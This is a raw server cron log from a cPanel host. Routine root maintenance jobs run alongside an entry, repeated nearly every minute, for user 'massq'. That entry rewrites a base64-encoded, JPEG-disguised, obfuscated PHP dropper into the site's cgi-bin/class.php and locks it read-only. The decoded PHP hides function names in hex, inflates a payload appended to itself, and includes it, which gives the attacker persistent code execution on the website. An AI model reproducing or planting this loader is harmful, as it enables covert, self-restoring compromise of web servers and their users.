Sep  1 09:00:01 server CROND[14216]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:00:01 server CROND[14218]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:00:01 server CROND[14220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:00:01 server CROND[14219]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:00:01 server CROND[14221]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:00:01 server CROND[14222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:01:01 server CROND[15087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:01:01 server CROND[15088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:01:01 server CROND[15090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:01:01 server CROND[15089]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 09:01:01 server run-parts(/etc/cron.hourly)[15089]: starting 0anacron
Sep  1 09:01:01 server run-parts(/etc/cron.hourly)[15111]: finished 0anacron
Sep  1 09:02:01 server CROND[15574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:02:01 server CROND[15575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:02:01 server CROND[15576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:03:01 server CROND[15966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:03:01 server CROND[15967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:03:01 server CROND[15968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:04:01 server CROND[16350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:04:01 server CROND[16351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:04:01 server CROND[16352]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:05:01 server CROND[16736]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:05:01 server CROND[16738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:05:01 server CROND[16740]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:05:01 server CROND[16743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:05:01 server CROND[16745]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 09:05:01 server CROND[16742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:05:01 server CROND[16744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:05:01 server CROND[16741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:06:01 server CROND[17572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:06:01 server CROND[17573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:06:01 server CROND[17574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:07:01 server CROND[18278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:07:01 server CROND[18279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:07:01 server CROND[18280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:08:01 server CROND[18646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:08:01 server CROND[18647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:08:01 server CROND[18648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:09:01 server CROND[19029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:09:01 server CROND[19031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:09:01 server CROND[19030]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 09:09:01 server CROND[19032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:10:01 server CROND[19476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 09:10:01 server CROND[19479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 09:10:01 server CROND[19481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 09:10:01 server CROND[19484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:10:01 server CROND[19485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 09:10:01 server CROND[19482]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 09:10:01 server CROND[19486]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 09:10:01 server CROND[19488]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 09:11:01 server CROND[20425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 09:11:01 server CROND[20426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
